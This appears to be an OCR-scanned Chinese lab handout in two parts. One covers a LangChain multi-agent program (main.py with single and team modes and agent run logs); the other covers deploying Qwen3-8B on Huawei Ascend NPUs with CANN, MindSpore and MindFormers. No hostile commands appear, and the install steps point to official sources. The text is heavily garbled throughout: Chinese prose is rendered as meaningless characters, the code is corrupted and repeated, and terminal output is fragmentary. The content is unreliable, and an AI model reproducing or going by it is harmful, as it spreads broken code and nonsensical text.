e o o L |
| |
| . ; !
| v v v
| PMFLR] EITHRIT FEES
| | | |
v v v v
l l
| Agent + Graph (ReActf&#) |
| F-Agent B I FIGraph3Ef |
L I
% main.py:
importsys
importjson

from langchain_core.messages import SystemMessage, HumanMessage, AIMessage, ToolMessage
from langchain_openai import ChatOpenAl

from config import llm, team_lIm

from memory importload_memory, save_memory

from promptimport build_system_prompt, load_mcp_tools
from graph import build_graph

from logger import save_trace_to_md

ERHATERTE RPN ER:
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def stream_graph(graph, inputs):

WAHITE, FEEREMITONE—HH1EhE-
EEHFEMASE meszages FFk. ATHHEERT-

# wWREL—HBFEGH, FrAFIRFR 458
last_len = len(inputs.get("messages”, []))
final _messages = inputs[“messages™]

# FH stream_mode="values", &F& ot S F 588 = E 0
for event in graph.stream(inputs, stream_mode="values™):
current_msgs = event.get("messages™, [])

final_messages = current_msgs # FAFF S0 B AFE

# MBS EEE, BN

if len{current_msgs) > last_len:
new_msg = current_msgs[-1]
last_len = len{current_msgs)

# WESSELTTFRBERANTE
if isinstance(new_msg, AIMessage):
if new_msg.content:
print(f"\n[ Agent BE]:\n{new_msg.content}")
if hasattr{new_msg, 'toecl_calls') and new_msg.toocl_calls:
for tc in new _msg.tool calls:
print(f"\n[ Agent RFERMAIE]: [tc[ 'name']}™)
print(f" g3 {tc['args' 11"
elif isinstance(new_msg, ToolMessage):
content = str{new_msg.content)
# HHWENAEA 300 B, HEFF
display content = content[:3@0] + ("..." if len(content) > 380 else
print(f"\n[ TEMNTER]:\n{display_content}")

return final _messages

5391

=)

def stream_graph(graph, inputs):

MIVITE], FHELIRERFTENE—RIEN1E .
IR[OIERZAYEEE messages 5, BFHTFRTF

# ICR E—XIUEEEE, BTFAMARHETHABER
last_len = len(inputs.get("messages", []))
final_messages = inputs["messages"]

# {EF stream_mode="values", XMt HEHZEURIHNZEIRE
for event in graph.stream(inputs, stream_mode="values"):
current_msgs = event.get("messages", [])
final_messages = current_msgs # BEFFRZHEYIE

# WMRBFHEEFE, WEENTFTED

if len(current_msgs) > last_len:
new_msg = current_msgs[-1]
last_len = len(current_msgs)

# {RIEEE B TEDARIERIBE
if isinstance(new_msg, AIMessage):
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if new_msg.content:
print(f"\n[ Agent E=&]:\n{new_msg.content}")
if hasattr(new_msg, 'tool_calls') and new_msg.tool_calls:
for tc in new_msg.tool_calls:
print(f"\n[ Agent REFAITER]: {tc['name']}")
print(f"  S# {tc['args']}")
elif isinstance(new_msg, ToolMessage):
content = str(new_msg.content)
# =HISHITEDRT 300 =75, BHRRIE
display_content = content[:300] + (".." if len(content) > 300 else "")
print(f"\n[ TE174558]:\n{display_content}")

return final_messages

28400

BIEZEIMEN, XAEIFAIEHRY subagent, EBAFRI Agent AJRZE, SanEHAE K.

class Agent:
def _ init_ (self, name, role, max_iters=30):
self.name = name
self.role = role
self.inbox = []

self.graph = build_graph(team_l1lm, max_loops=max_iters)

def receive(self, sender, message):
self.inbox.append(f"[# B {sender}]: {message}")

def chat(self, task):
messages = [SystemMessage(content=self.role)
if self.inbox:

messages .append(HumanMessage (content="1F X EIRLL THEE: \n" + "\n".join(self.inbox)))

self.inbox =
messages.append(HumanMessage(content=task))

inputs
& X5

o

"messages": messages, "iterations": @

final_messages = stream_graph(self.graph, inputs)
return final_messages[-1].content, final_messages

class Team:
def __init_ (self):
self.agents =
def hire(self, name, role):
self.agents[name] = Agent(name, role)
def broadcast(self, from_name, message):
for name, agent in self.agents.items():
if name != from_name: agent.receive(from_name, message)

class Agent:
def __init__(self, name, role, max_iters=30):
self.name = name
self.role = role
selfinbox = []
self.graph = build_graph(team_llm, max_loops=max_iters)

def receive(self, sender, message):
selfinbox.append(f'[3EH {sender}]: {message}")

def chat(self, task):
messages = [SystemMessage(content=self.role)]
if self.inbox:
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messages.append (HumanMessage (content="i55EEhZLA TEE: \n" +
"\n" join(self.inbox)))
selfinbox = []
messages.append (HumanMessage(content=task))

inputs = {"messages": messages, "iterations": 0}

# BOBARRTHITERE

final_messages = stream_graph(self.graph, inputs)
return final_messages[-1].content, final_messages

class Team:
def __init__(self):
self.agents = {}
def hire(self, name, role):
self.agents[name] = Agent(name, role)
def broadcast(self, from_name, message):
for name, agent in self.agents.items():
if name != from_name: agent.receive(from_name, message)

F411

BERAAITER

def run_single(task):
memory = load_memory()
system_prompt = build_system_prompt(memory)

graph = build graph(llm, max loops=18)

init_msgs = [SystemMessage(content=system_prompt), HumanMessage({content=task)

print(™\n FHEHITE agent T5...0n" + "="%48)

# i AT

messages = stream_graph(graph, {"messages": init_msgs, "iterations™: 8})
final_answer = messages[-1].content

print{"\n" + "="*48 + "\n¥¥ {IHF5FAR:\n" + final_answer + "\n" + "="*48)

save_trace_to_md({task, messages)
save_memory (task, final_answer)

def run_single(task):
memory = load_memory()
system_prompt = build_system_prompt(memory)

graph = build_graph(llm, max_loops=10)
init_msgs = [SystemMessage(content=system_prompt), HumanMessage(content=task)]

print("\n FFEAHITE Agent {F55..\n" + "="*40)

# WmLHAT

messages = stream_graph(graph, {"messages": init_msgs, "iterations": 0})
final_answer = messages[-1].content

print("\n" + "="*40 + "\n## {EZ5ER:\n" + final_answer + "\n" + "="*40)

save_trace_to_md(task, messages)
save_memory(task, final_answer)
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ZERMAED,

def run_team_mode(task):|
pm_resp = 1lm. invoke(
Systemlessage(content="fR 2 — 1 TRE LB - FE S KB AIsoNFIBARE R - BEGISON: {\"team\": [{\"name\":\"...\",\"role\":\"...\",\"task\":\"...\"}]}. BE—1 4 RAZFEE- "),
HumanMessage (content=task)

try:
plan = json.loads(pm_resp.content)
team_config = plan["team"

except Exception:
print(" PM MLEIM » BANE Agent BA")

return run_single(task)

print(f"\n BIBABRER» # (len(team_config)] BMA: ")
for m in team_config: print(f" - {m['name']} ({m['role']})")

team = Team()
for m in team_config: team.hire(m["name"], m["role"])

summaries =
all_traces =

for m in team_config:
name = m[ "name”
print(f*\n" + "="%40 + f"\n [{name}] EFEHIITEH: {m["task'][:50]}...")
res, trace = team.agents[name].chat(m["task"])
summariesname] = res
all_traces.extend(trace)

team.broadcast(name, f"REZTMTHMAMES - TIEME: {res[:500]}")

reviewer = team_config[-1
print(F"\n" + "="%40 + f"\n [{reviewer['name']}] EXMTBATE...")

final_task = f"UL T RMFBA TFHEE : \n{json.dumps (summaries, ensure_ascii=False, indent=2) \n\nifRTREFRTNELHL . "
final_result, final_trace = team.agents[reviewer["name”]].chat(final_task)

all_traces.extend(final_trace)

print("\n" + "="*40 + "\n¥¥ HLHER:\n" + final_result + "\n" + "="*40)

save_trace_to_md(task, all_traces)
save_memory (task, final_result)

def run_team_mode(task):
pm_resp = lIm.invoke([
SystemMessage (content="{R2— MREEE . $SES5IFAES JSON FAE=. IREIZE JSON:
{\"team\": [{\"name\":\"..\",\"role\"\"..\" \"task\"\"..\"}]}. RIE—"UREHFREE. "),
HumanMessage(content=task)

D

try:
plan = json.loads(pm_resp.content)
team_config = plan["team"]

except Exception:
print(" PM #XIK, 1BILIE Agent tEI")

return run_single(task)

print(f"\n FIPALEEERY, 3£ {len(team_config)} FRE: ")
for m in team_config: print(f" - {m['name'l} ({m['roleT})")

team = Team()
for m in team_config: team.hire(m["name"], m["role"])

summaries = {}
all_traces =[]

for m in team_config:
name = m["name"]
print(f"\n" + "="*40 + f"\n [{name}] IETEHITIESS: {m['task][:50]}..")
res, trace = team.agents[name].chat(m["task"])
summaries[name] = res

all_traces.extend(trace)
team.broadcast(name, f'¥EL25E T HAMES . TIERHZE: {res[:500]}")

reviewer = team_config[-1]
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print(f"\n" + "="*40 + f"\n [{reviewer['name']}] IE{E#{TERLEEHE. ")
final_task = f"LA F2EPA TIEHZE:\n{json.dumps(summaries, ensure_ascii=False, indent=2)}\n\n i&i#

TREAHSHNESEL. "

final_result, final_trace = team.agents[reviewer["name"]].chat(final_task)
all_traces.extend(final_trace)

print("\n" + "="*40 + "\n## RZLZER\n" + final_result + "\n" + "="*40)

save_trace_to_md (task, all_traces)
save_memory(task, final_result)

RIS EREAREIMER, (ERRIRITAVEL, BIEXRE—ERAETE, JERR, &
IRZ#HEMFZIN 98 F Agent BHE— M ERIRASHIERFE, ERIXITEA Agent ifq]
LURINE A TP ERIERRRE 4

if _name__=="_main_":
auto = "--auto" in sys.argv
team_mode = "--team" in sys.argv

task_args = [arg for arg in sys.argv[1:] if not arg.startswith("--")]

if auto:
import config
config AUTO_APPROVE = True

if not task_args:
print("FBi%: python main.py [--auto] [--team] <{EZHEiR>")
sys.exit(1)

task =" ".join(task_args)
if team_mode: run_team_mode (task)
else: run_single(task)

A SITIUIHER -
M BB BRI TRER :

| python main.py -auto FItZHFIERFEZ/D4 Python X4, FHELERBAN countixt




S

HUAWEI

Agent NFAFHASEL

HATE Agent {F

$agent REWATA]: glob
8
{'pattern’: '**/* py'}

[BMLEHNITER]:
main.py

logger.py
config.py
security.py
graph.py
prompt.py

memory . py
tools.py
context.py

\ “count.txt” .

EEALER]: write

‘count.txt', ‘content’: '9'}

count.txt

~ Python

“main.py” . ~logger.py’ . “config.py’ . ~security.py . “graph.py . “prompt.py . “memory.py . “tools.py . ~context.py”

" count.txt”

+ “config.py” . “security.py . “graph.py . “prompt.py . “memory.py . “tools.py’ . ~context.py”

FHIBER _counttxt.md

REFHRITHTA 4

1 ¢ EFRTRE
3 K E**: 20 50
4 EFT GHEABRTAZ DA python I, HIEERSA count.txt

8 ## [SYSTEM]

11 BE-AEUNREHF . FALEATAREN . K5 BEXHONGTES -
12 BERRBERTHRMES - MREFIKR, 34T R ZE -

## [HUMAN]

18 GHLUMERTES DA python X, HIBLEREA count.txt

a8 [AL]

3 **Tool Calls:**
- MAIA: glob
25 B#: “{'pattern’: '**/*.py'}

27 ## [T0OL]

main.py

logger.py

prompt.py
-py

tools.py
38 context.py

menm;

a1 ## [AD]

- BT ssges 4 Python Xt MAERERSA “count.txt™o
1C1ZIRTF S

3 =*HE**: 20: 50
4 =EF: FHEMBERTAESZ LA Python i, HIBERE N count.txt
5 ER: BRA! GHEARNT:

- HEIBRTHE **9** 4 python ¥
8 - X{3)%E: “main.py’ + “logger.py’ » “config.py - “security.py’ + “graph.py’ + “prompt.py’ \ “memory.py
- £REE AN count.txt’

N

tools.py »

context.py
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Team &I T ZEREAIDEINIL:

| python main.py -team FITHFIBRTFEZ/DA Python X4, FHELEREAN counttxt

( IR B EREARRTEE, HE Agent XIRAY LLM FEMKIESITIRE, HETHE )

count.txt XHFH. ...

FAIA]: bash
s "1s 1A'

druxr-x--- 4 ma-user ma-group 4096 Jun 26 14:24 .
druxruxrux 8 root  root 4096 Jun 26 14:24 ..

druxr-x--- 2 ma-user ma-group 4096 Jun 26 14:24 .ipynb_checkpoints
_Python_X £ HIEE RS A_counttxt.md

\ “count.txt.

ount=$(find . -maxdepth 1 -type f -name "*.py" | wc -1); echo $count > count.txt; cat count.txt'}

: ‘count=$(find . -maxdepth 1 -type f -name "*.py" | wc -1); echo $count > count.txt; cat count.txt'}

[ Agent
b5 o

glob
{'pattern’: "*.py'}

BIEHMITI B bash
*c and”*: *1s -la'}

config.py
security.py
graph.py
prompt.py
memory . py
tools.py
context.py
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“config.py”
~ context.py’
“graph.py”

“security.py” |
“tools.py” |

(~config.py™, ~context.py”, “graph.py’, ~logger.py’, “main.py’, “memory.py>, ~prompt.py’, security.py’, “tools.py ) |

" -maxdepth 1° FBIAFER. ~-type £

A_counttxt.md

RSP ngent TSRS, SEE R DR
Team &=L FHITHINEE:

1L EF TR

3 =*HE**: 202 14
4 =EF: GHHABRTHES DA python X, HIBEREA count.txt

5 ## [SYSTEM]

1 FEIRM

14 ## [HUMAN]

E&SBMELHHRMBERTH py XHHE, FHREHESA count.txt Xfkdo

20 ## [AI]

2 UEEEEHRMERNEN

28 Tool Calls:*
22 - @AIA
0 Z#: "{'command': 'ls -la'}

> 4 [100L]

total 80
5 druxr-x--- ser ma-group 4096 Jun 26 14:24 .
root 4096 Jun 26 P
-group 4096 Jun 26 14:24 .ipynb_checkpoints
-group 1174 Jun 26 14:03 20260626_140356_fit HH HR T EZ L1 _Python X H B4 £ 5 A _counttxt.md
-group 4096 Jun 26 14:00 _ pycache__
3

-group 393 Jun

-group 1149 Jun onfig.py
context.py
count . txt

-group 1190 Jun

-group 1 Jun

1.3 B&Emm
o UN{IIEFESLIAY Agent FUATRER?
o EZIET, WHIBEIMHHICIZEHIZHEE?




S

.
HUAWEI Agent RZFAFFASEL 475
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1.1 LIE=
MEEKEE N AR ESHNTSENE:, EE RN ABEABEH—XTR, WiSEE
%x’E SRUtEBRBIRAMER, EEMAEMRIRBPIEER®RT, WFIELKRmNS, —
WA “BetBillER” B “BEMBRMHER" , REREBRITTEIEE.. SHELE. HIBEMET
6. EBEMRITUUNIRSHIIES SN TR, RETHIX—BESESHEN, BEse A eE
P ATNARM. hiaiT. SRS Ejjo
BEF FAFER, ALIELL Qwen3-8B AF—Zf, BESABIRIE, RIT—EEEAH
IEERESLHRIZE . SLIVIZIBIERNTRE - 2 - HERMEEENL - PD 9 EHPE - APl IRSZLAYE
FEF, REESEUSETNXENRT, BYIX—IE, EENNees5c ERtFEIRIGT,
LHb%L_JXLgE{%mEEE’J*EiH’: T DTt BIEIIES . 1B/ PD D EAIZE
, HRZBERIGE DI NIRE AP IRSS

ZIS;& BNELERISESIRRAILIE BARET, IR NAYNITHIA . BEEEXE5HAE. B
ESWIFAENER DA, BIEEREEIZENERIEEING, FARERBR
ﬁﬂ]:&ﬁﬁ“ P T N EA

I]

1.2 SCISHAY

SRR, EERNEEIE:
T=ak Qwen3-8B {&EITE B BINE FHIEMITIZIER SRS
FERABT AKX ERENTETHEREWN, HIGITFSWER A
IR MR E L, FHEREisie
BEF AT RS PD 0 EEE, HIIEEKREEAIEEET
% PD D ERIRIRS , RMHIRE APl EOHRERBIGIE
RIELIEHA ., BeEX . BEMSREE, WLiodE#HTEWMNoiT

1.3 LW H AR
AERET UFIREEIFE R, ROREITT:
. Python: 3.11.4 (JIKETRE, FIAETREPEZIRA )
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- XzhSEH4: 25.5.1

« CANN: 85.0

* MindSpore: 2.7.2

¢ MindFormers: 1.8.0

« MindIE: 2.2.RCT
IKENEE. CANN LiEsE:
CANN Z32%:

https://www.hiascend.com/document/detail/zh/canncommercial/81RC1/softwareinst/instg
/instg_0000.html?Mode=DockerIns&InstallType=local&OS=Ubuntu&Software=cannToolKit
MindSpore 25!
https://www.mindspore.cn/install/

oL

MindFormers &ZiE&% .

https://www.mindspore.cn/mindformers/docs/zh-CN/r1.8.0/installation.html
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2.1 SCIGET T

2.1.1 KF AR

AEXILL Qwen3-8B NLIMIR, BETFH—HI A BINEAREITR SEMBEIEIGIE, 5C
RWERXTREERRIMEhERRSIERINE. EREHEE, FEkEEsLiSRNEitz
TR
2.1.2 L8 BRY
o IEf Qwen3-8B RELIBINIEHIEARRIZ;
o NEFBIEIEIE. Python KEFIEEREERHEEXK;
o R Qwen3-8B EAHEIERCEFNIKIIN ;
o HITENMEEMIA, IR EARTLIERERL;
¢ RIEASHMERAIMERITRESEMI.

2.1.3 LGN A
AELIGBIANRISCIRENES T, SLIOTEPABRIMLEEM i, &% ( SLIRIRER

iR ) &85

LS S A9

1 BIEELIOER GH—RIA. BE. HEMERHER

2 MEEMKE I&iEPython. MindSpore. MindFormersfINPUIRZS
3 MBRERR faiAQwen3-8BIEEL B RINKEIHFTE

4 hiz3=p) 5 RETIN R A TFHERIRIEAIPrompt

5 HITEREE IHER NN AL RS IES

6 DHTSEINLESR RIEEEE LTI 2 BRI
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2.1.4 SCIGHI%)

TRENEIE N FRE LI

EARIN

ERTESLI RS S RIEM T ARG .

gwen3_deploy_lab/
—— models/
| L—— Qwen3-8B/
—— configs/
—— scripts/
—— prompts/
L—— outputs/
L—— chapter1/
—— logs/

L—— results/

2.2 Qwen3-8B &8 ER

2.2.1 {&BINE

Qwen3-8B 2@ X Fa) Qwen3 EFFH—5K 8B RIEZKESIEE, Qwen3 RIIHME=
Qwen H\&RH, BEZ 1 HAEIRELF] MoE &8, &% 0.6B. 1.7B. 4B. 8B. 14B. 32B LA
T EEKHE MoE &8,

Qwen3 RINFE4EFSEIE: TIFRERAMHIERE . I5SIRMEED . SIESAEF0 Agent i
FBEE, F&iF “BEE” 1 “IEBREER” Bk, ESBTRIEEUHESE . S, R
SUHEELRITS .

ARELIGHIERE Qwen3-8B, EEFEUT:

EEIRE 1588
REIEIEH SBESHMIRIE S PR R E LI
HERTIERT Hugging Face. ModelScopeZF &R tEEIAE
BERENEE JREFERIEE. 2. HREAFAPIRSLETRE
FRIZEEIRGF EEFN LY PromptAIE5 RS E Al
TiEAFRMEE BER AR ELERE PIERRIRRE . IXE. tokenizerfNHHERZE

2.2.2 BB E

Qwen3-8B ERAT&EARAM: Hugging Face T&#] ModelScope T&. MNRARSSZEAILA
A1) Hugging Face, BIff5%&f#HE Hugging Face; MIRMLZIHIEZIR, ERFEBEEZINE
FH ModelScope,

(1) F&A=R—: M Hugging Face &
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MindSpore Transformers 12{tN%k Hugging Face {&RURERIRES, SHFEEMEM
Hugging Face {&BIZEHRTEAMERINE . M Hugging Face:
https://huggingface.co/Qwen/Qwen3-8B/tree/main &, EIISEE FHIIABER,

% Qwen3-8B ke
TextGeneration @ Transformers & Safetensors qwen3  conversational @ text-generation-inference 2309.00071 250509388 @ apache-2.0
Model card Files and versions ¢ xet Community
P mainv  Qwen3-8B txlek D> B scontributors Q@ Hi
& littlebird13 te LICEN b968826

.gitattributes
LICENSE
README.md
config.json

generation_config.json

merges.txt

model-00001-0f-00005.safetensors a7 xet o
model-00002-0f-00005.safetensors a2 < xet
model-00003-0f-00005.safetensors s xet
model-00004-0f-00005.safetensors s xet L
model-00005-0f-00005.safetensors 87 xet

(2) T&EABAR=: M ModelScope &
ModelScope & Qwen3-8B ittiif: https://modelscope.cn/models/Qwen/Qwen3-8B,

<"l Fig3-88 Q© 258 + am
CAER MMB198 $ @ Transformers @ Safetensors PyTorch FHL: apache-20 +qwen3  * ModelScope Inference Dem
e
BEME s frdiid=a g & FRARE B NotebooktRiliFF & =R @ Yl B i
master Qwen3-88 °
ai-modelscope Create LICENSE | 26028140 7488
gitattributes 213k8
configjson 728,008
configuration json 73.008
generation_configjson 239.008
LICENSE 11.34kB
merges.txt 1.67MB

model-00001-of-00005.safetensor
s @ = Safetensors

ModelScope &I :

4.00GB

# TR
pip install -U modelscope

# TEIRE
mkdir -p models
modelscope download --model "Qwen/Qwen3-8B" --local_dir "models/Qwen3-8B"

# NHeE
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| ls -lh models/Qwen3-8B

%131

Qwen3-8B REBRPEEG SN M4

Qwen3-8B/

—— config.json

—— generation_config.json

—— merges.txt

—— model-00001-0f-00005.safetensors
—— model-00002-0f-00005.safetensors
—— model-00003-0f-00005.safetensors
—— model-00004-0f-00005.safetensors
—— model-00005-0f-00005.safetensors
—— model.safetensors.index.json
—— tokenizer.json

—— tokenizer_config.json

—— vocab.json

—— README.md

L—— LICENSE

# 1EEIEMECE S
# ERESHEOANEE
# BPE SFFHINISZ{E
# DRNENE 1
# DRANEXH 2
# DRANEXH 3
# DRNEXH 4
# DRANENE 5
# NESRES XY
# AR ENH
# DiEEEEN
# 1EZRIE

# 1EEY BRI AY

#

2.3 EFERR
T HARM A BRSHBNEHFEFABER
RIEMISEEIES, AR A BIRSSSIAME, £/mnt/class/qwen3_deploy BR T (s Efth

IFEER), MEPAFFEER, W testxxx, xxx BN ARFRSE M AT LAFHRAY

5L test_hzl A9,

[— 2

F17,

=

cd /mnt/class/qwen3_deploy
mkdir test_hzl

[root@worker83 qwen3_deployl# cd /mnt/class/qwen3_deploy/
[root@worker®3 gwen3 deploy]#
[root@worker83 gwen3 deployl# 11

total 4

drwxr-xr-x 8 root root 4096 Apr 24 02:00 test hzl

[root@worker®3 qwen3 deploy]#

R 2 EHIKENFIES

ARLICAIECE NPU IXEIFIEHIRA S 25.5.1

IRIESCIRIMEES., TEHIRNFIEY, TEHEESE:
https://www.hiascend.com/document/detail/zh/CANNCommunityEdition/850/softwareinst
/instg/instg_0005.html(?Mode=PmIns&InstallType=local&OS=Debian

REIIEI T

# BEETEHNZES
Ascend-hdk-910b-npu-driver_25.5.1_linux-aarch64.run
Ascend-hdk-910b-npu-firmware_7.8.0.6.201.run

# ZETHIRA



https://www.hiascend.com/document/detail/zh/CANNCommunityEdition/850/softwareinst/instg/instg_0005.html?Mode=PmIns&InstallType=local&OS=Debian
https://www.hiascend.com/document/detail/zh/CANNCommunityEdition/850/softwareinst/instg/instg_0005.html?Mode=PmIns&InstallType=local&OS=Debian
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IEBUHEIR N SRE SIS 14"
chmod +x Ascend-hdk-910b-npu-driver_25.5.1_linux-aarch64.run
chmod +x Ascend-hdk-910b-npu-firmware_7.8.0.6.201.run

./Ascend-hdk-910b-npu-firmware_7.8.0.6.201.run --full
./Ascend-hdk-910b-npu-driver_25.5.1_linux-aarch64.run --full

3 E#T CANN fRA

KRILIFEEZLE CANN 85.0 iR, FHLRIEISE:
https://www.hiascend.com/document/detail/zh/CANNCommunityEdition/850/softwareinst
/instg/instg_0008.html?Mode=PmIns&InstallType=local&OS=Debian

RRIFEI T

# CANN FRAZEG
cat /usr/local/Ascend/ascend-toolkit/latest/$ (uname -m)-linux/ascend_toolkit_install.info

# T2 CANNS.5.0 L6,
wget "https://ascend-repo.obs.cn-east-2.myhuaweicloud.com/CANN/CANN%208.5.0/Ascend-cann-
toolkit_8.5.0_linux-aarch64.run"

wget "https://ascend-repo.obs.cn-east-2.myhuaweicloud.com/CANN/CANN%208.5.0/Ascend-cann-910b-
ops_8.5.0_linux-aarch64.run"

# BUR

chmod +x Ascend-cann-toolkit_8.5.0_linux-aarch64.run
chmod +x Ascend-cann-910b-ops_8.5.0_linux-aarch64.run

# FH: ISR Toolkit, SARFHER ops BEFE
./Ascend-cann-toolkit_8.5.0_linux-aarch64.run --upgrade --quiet
./Ascend-cann-910b-ops_8.5.0_linux-aarch64.run --install --quiet

Zan S AT CANN 8.5.0 fRAN,

4 2% MindSpore R EKHH

pip install decorator
pip install sympy
pip install attrs

# &% mindspore
pip install mindspore==2.7.2

5 ZZ& MindFormers

SREX MindFormers {838, HHRETF T ABF/mnt/class/qwen3_deploy/test_hzl T,
FEVIN B S FHZEE MindFormers:

cd /mnt/class/qwen3_deploy/test_hzl

git clone -b r1.8.0 https://gitee.com/mindspore/mindformers.git
cd mindformers

bash build.sh

Wi



https://www.hiascend.com/document/detail/zh/CANNCommunityEdition/850/softwareinst/instg/instg_0008.html?Mode=PmIns&InstallType=local&OS=Debian
https://www.hiascend.com/document/detail/zh/CANNCommunityEdition/850/softwareinst/instg/instg_0008.html?Mode=PmIns&InstallType=local&OS=Debian
https://gitee.com/mindspore/mindformers.git
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,qwem transfer/test_hzl# git clone
Cloning into Candiaml L%
remote: Enumerating UbWEEtb. done.,

(delta @), pack-reused
60. 3 5.8 /

“aa1s9,
9 (from 1)
done.

cd mindformer:
mindformers# 1

/quen3_transfer/test_hz
/quen3_transfer/te:
RELEASE . md
_CN.md  RELEASE_

LICENSE
JOWNERS
root@7c

_hz
Thi rd Partv _Open_Source_Software_Notice

convert_weight.py

mindformers# bash build.sh g

etuptools/_distutils/dist.py: UserWarning:

etuptools/dist.py:76

ifiers in favor of a SPDX license expre

'11,1wb,pwthnm'u,'wte e
o packages (fron )t
e |

e t
Reautrenent al ready satisfie
Requirement s
Installing catfeet packages: mindformers
Attempting uninstall: mindforme
Foun 1
unin

mindformers 1

y uninstalled mmdfﬂrmsh 1
led mind ]
JECRT

root@7cageb6eec3b
root@7cadebseec3b:

| indforme
S/awen3 transfer/test_hzl/mindformersi

INFIMBERIEE: &t “All checks passed”,

Unknown distribution option:

(from reque

%151

requirements.txt run_mindformer.py setup.py
3

‘test_suite’

SetuptoolsDeprecationWarning: License cla

.1->mindformers a)

-3
mindformers==1.8.6) (2.9.0.post0)

BEME L IEIE A

python -c "import mindformers as mf; mf.run_check()"

nutput
+ +’ from_model_config®
output/ ug[mIndFarmer

foutput/loglmindformers/generation/text_generator.py: ,cwa] - I
output/log[mindformers/generation/text_generator.py:887] - IN

output/leg[mindformer

run_check.
output/loglmindformer:

run_check - py

01] -

mindforme 0 mnt/cl
mindforme
mindforme
mindforme
mindforme

3_transfer/test hal/ autputﬂug[mmdfﬂrmer\ run_check.

ogmindformers/run_check.

3_transfer/test_hzl/output/log[mindformers/run_check.

Qg% 6 *AEETiﬁ:{mlu\

BigHIT npu-smi. CANN E&12IEE. ACL SoC &if].

‘tempsraturs 0, 't 5

generation/text_generator.py

WARNING - The i

Generation uhf\g is
k'

“output_logi: e token_id

661] - WARNING - max_]

ength 1624 can not exceeds model seq_length

- The generation mode uill be

GREEDY_SEARCH*
- total time: 0.0

38771438598633 s5; generated token

Predict test pa
hing Environment Info-

2.
cend-cann-toolkit versio
cend driver ve

talled

It's recommended to install mindformers

MindSpore hRAZEIAFN

MindFormers [RAZEIIZGS, E_I-}E'PH%EE1¢H&%\ CANN #r{4te R

4=|=l|‘

MindSpore/MindFormers #2428 AT IRIRIGIUE o

npu-smi info

Is -1 /usr/local/Ascend/cann

python -c "import acl; print(acl.get_soc_name())"

python -c "import mindspore as ms; print(ms.__version__)"
python -c "import mindformers as mf; print(mf.__version__)"
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Name | Health

lest subnormal for “numpy . floa:
: UserWarning: The value of the smallest subnormal for <class 'numpy.float32's
UserWarning: The value of the s subnormal for < “numpy. floa
UserWarning: The value of the smallest subnormal for <class 'numpy.float64'> type is z
python -c "import mindformers as mf; print(mf._ver
winpycorefgetl units - UserWarming: The vatue uf the s st subnormal for <class ‘numpy.floa
y:89: UserWarning: The value of the smallest subnormal for <class 'numpy.float3?
UserWarning: The value of the s subnormal for “numpy. floa ype is zero.

UserWiarning: The value of the smallest subnormal for <class 'numpy.float64'> type is zero.

IIELER

npu-smi EREHFFIBREIARA 25.5.1;

acl.get_soc_name JR[E]IFE: CANN FIIREN4HEEEIEE, CANN fRZA 8.5.0;
mindspore hRA: 2.7.2;

Mindformers fRZA: 1.8.0,

£ 7 FREY Qwen3-8B MRAHIFRIAINE . MIAFIERCEN 4

2% (Qwen3-8B EELER-EEITEH ) B, BIEENE. HATIEEXH THEEEE
=, u test_hzl/ Qwen3-8B:

root@es 1ef1nf1?c.,mnt,c1 ss/qwen3_deploy/test_hzl# pwd

Jmnt,/ /gwen3 depl est hzl

rootﬂ lass/qwen3_deploy/test_hzl#
Jfqwen3_deploy/test_hzl# 11 Qwen3-8B/

total 1681

drwxr-xr-x 3 root 8192 Apr 24 081:45

drwxr-xr-x 8 root 4896 Apr 24 02:080

drwxr-xr-x - root : Apr 24 01:45

root Apr 24 01:45

root 36 Apr 24 ¥t

root 343 Apr 24 01:45 NSE

root G Apr 24 01:45 README.md

root 28 Apr 24 01:45 config.js

root Apr 24 81:45 configuration.json

root 239 Apr 24 081:45 generation_config.json

root 6 Apr 24 01:45 merges.txt

root 3996: 44 Apr 24 081:45 model-08601-0f-000085

root 6 Apr 24 01:45 model-P0EAZ2-of-86085

root 3959604 Apr 24 01:45 model-P0EA3-of-06085

root 31 *?- : Apr 24 3 model -000804-o0f-008

root 0 Apr 24 @ 3 model -0B865-0f-00805

root 378 Apr 24 01:45 model.safetensors.

-TW-F--F-- root 42 2¢ Apr 24 5 tokenizer.json

-rW-r--r-- root 32 Apr 24 € tokeni*er_config.json

-rw-r--r-- 1 root y 3 Apr 24 01 4 vocab.json

root@e98lef16f17c: /mnt/clas -qwen; deploy/test_hzl# ]

-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--
-rwW-r--r--

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
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2.4 1 FferEEy

MindSpore Transformers R AREIHEAERBEEE. KRB, HiEzE (BRTKESE
Bl) . AATERA run_mindformer.py S—HIAUE)) |G aEIRRIE, TR EEE AT
HEIRMY YAML BCE 15,

Qwen3-8B i8R HDH 6 £
AT EASBE RGN
. IEFBIREISCH]

REUEIR AR E LR F17TR

—_

2

3. 1#8 tokenizer
4. IBNE
5
6

. 1T YAML 324
. [BEHHEEIIE
L1 WAIBEXSEREN

Xt Qwen3-8B ki, HEICECEFETER Qwen3 REMEXAIECE, FULSLIRFMIEN
IERMEXMAE, }MFEREN M, BRFPENELEE configjson.
generation_config.json. tokenizer.json. tokenizer_config.json.
model.safetensors.index.json LAK model-*safetensors INEH RN, SEERTHE
To

HE2  IBRESL

Mindformers €FEEA Qwen REUHZOSLICAZREIN T :

# ERITERT, BEUTIXH

BWEINO: [modeling_gwen3.py](. /mindformers/models/qwen3/modeling_gwen3.py)

YIEZRSEI: [modeling_gwen3_train.py]( . /mindformers/models/qwen3/modeling_gwen3_train.py)
HEIBESCHN: [modeling_gwen3_infer.py]( . /mindformers/models/qwen3/modeling_qwen3_infer.py)
INEEF) || GRS BIEL S [utils.py] (. /mindformers/models/qwen3/utils.py)

WRBVEMEIETE mindformers/models/qwen3/configuration_qwen3.py HENX, TEITE
IR ESHEES Qwen3-8B ELNE—H, HE YAML HFIEMHRE ., HFEERX
configuration_qwen3.py SIITFBRBREF—E:

def __init__(self,
vocab_size=151936,
hidden_size=4096,
intermediate_size=22016,
num_hidden_layers=32,
num_attention_heads=32,
num_key_value_heads=32,
head_dim=128,
hidden_act="silu",
max_position_embeddings=32768,
initializer_range=0.02,
rms_norm_eps=1e-6,
use_cache=True,
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tie_word_embeddings=False,

rope_theta=10000.0,

rope_scaling=None,

attention_bias=False,

use_sliding_window=False,

sliding_window=4096,

max_window_layers=28,

layer_types=None,

attention_dropout=0.0,

**kwargs):
